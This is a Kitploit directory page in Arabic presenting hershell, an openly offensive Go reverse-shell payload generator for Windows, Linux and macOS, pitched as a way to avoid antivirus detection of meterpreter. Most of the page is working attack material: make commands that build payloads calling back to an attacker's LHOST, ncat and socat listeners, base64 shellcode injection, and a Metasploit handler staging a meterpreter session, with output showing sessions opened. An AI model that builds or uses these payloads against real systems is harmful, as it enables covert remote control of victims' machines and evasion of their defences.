Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
hershell — مولد شل عكسية متعددة المنصات | Kitploit
أدوات/GitHubGitHub/lesnuages/hershell
أدوات التشفير/فك التشفيرتوليد الحمولةالاستغلالشيل كودما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHublesnuages/hershell

hershell

مولد شل عكسية متعددة المنصات

592985منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

هيرشيل

غلاف عكسي بسيط عبر TCP مكتوب بلغة Go.

يستخدم TLS لتأمين الاتصالات، ويوفر ميزة تثبيت بصمة المفتاح العام للشهادة، مما يمنع اعتراض حركة المرور.

أنظمة التشغيل المدعومة:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD والمشتقات

لماذا؟

على الرغم من أن حمولات meterpreter رائعة، إلا أنها تُكتشف أحيانًا بواسطة منتجات مكافحة الفيروسات.

الهدف من هذا المشروع هو الحصول على غلاف عكسي بسيط يمكنه العمل على أنظمة متعددة.

كيف؟

نظرًا لأنه مكتوب بلغة Go، يمكنك تجميع المصدر عبر الأنظمة للهندسة المعمارية المطلوبة.

البدء والاعتماديات

نظرًا لأن هذا مشروع Go، ستحتاج إلى اتباع الوثائق الرسمية لإعداد بيئة Golang الخاصة بك (مع متغير البيئة $GOPATH).

ثم، قم بتشغيل go get github.com/lesnuages/hershell لجلب المشروع.

بناء الحمولة

لتبسيط الأمور، يمكنك استخدام ملف Makefile المقدم. يمكنك تعيين متغيرات البيئة التالية:

  • GOOS : نظام التشغيل الهدف
  • GOARCH : الهندسة المعمارية الهدف
  • LHOST : عنوان IP أو اسم المجال للمهاجم
  • LPORT : منفذ المستمع

بالنسبة لمتغيري GOOS و GOARCH، يمكنك الحصول على القيم المسموح بها هنا.

ومع ذلك، تتوفر بعض الأهداف المساعدة في Makefile:

  • depends : إنشاء شهادة الخادم (مطلوبة للغلاف العكسي)
  • windows32 : بناء ملف قابل للتنفيذ لنظام ويندوز 32 بت (PE 32 بت)
  • windows64 : بناء ملف قابل للتنفيذ لنظام ويندوز 64 بت (PE 64 بت)
  • linux32 : بناء ملف قابل للتنفيذ لنظام لينكس 32 بت (ELF 32 بت)
  • linux64 : بناء ملف قابل للتنفيذ لنظام لينكس 64 بت (ELF 64 بت)
  • macos32 : بناء ملف قابل للتنفيذ لنظام ماك أو إس 32 بت (Mach-O)
  • macos64 : بناء ملف قابل للتنفيذ لنظام ماك أو إس 64 بت (Mach-O)

بالنسبة لهذه الأهداف، تحتاج فقط إلى تعيين متغيري البيئة LHOST و LPORT.

استخدام الغلاف

بمجرد التنفيذ، سيتم توفير غلاف عن بعد لك. سيسمح لك هذا الغلاف التفاعلي المخصص بتنفيذ أوامر النظام عبر cmd.exe على ويندوز، أو /bin/sh على أجهزة UNIX.

الأوامر الخاصة التالية مدعومة:

  • run_shell : يمنحك غلاف نظام (يسمح لك، على سبيل المثال، بتغيير الدلائل)
  • inject <base64 shellcode> : يحقن شيلكود (مشفر base64) في ذاكرة نفس العملية وينفذه
  • meterpreter [tcp|http|https] IP:PORT : يتصل بـ multi/handler للحصول على meterpreter من metasploit للمرحلة الثانية عبر TCP أو HTTP أو HTTPS، وينفذ الشيلكود في الذاكرة (نظام ويندوز فقط حاليًا)
  • exit : الخروج بأمان

الاستخدام

أولاً، ستحتاج إلى إنشاء شهادة صالحة:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

لنظام ويندوز:

root@kitploit:~
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

لنظام لينكس:

root@kitploit:~
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

لنظام ماك أو إس إكس

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

أمثلة

الاستخدام الأساسي

يمكن استخدام أدوات متنوعة للتعامل مع الاتصالات الواردة، مثل:

  • socat
  • ncat
  • وحدة خادم openssl
  • metasploit multi handler (مع حمولة python/shell_reverse_tcp_ssl)

فيما يلي مثال باستخدام ncat:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

فيما يلي مثال باستخدام socat (تم اختباره مع الإصدار 1.7.3.2):

root@kitploit:~
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab

تنظيم Meterpreter

تحذير: هذا يعمل حاليًا فقط على منصة ويندوز.

يدعم تنظيم meterpreter حاليًا الحمولات التالية:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

لاستخدام الحمولة الصحيحة، فقط حدد النقل الذي تريد استخدامه (tcp, http, https)

لاستخدام ميزة تنظيم meterpreter، فقط ابدأ المعالج الخاص بك:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

ثم، في hershell، استخدم الأمر meterpreter:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

يجب أن تظهر جلسة meterpreter جديدة في msfconsole:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

الاعتمادات

@khast3x لميزة Dockerfile

تنزيل الأداة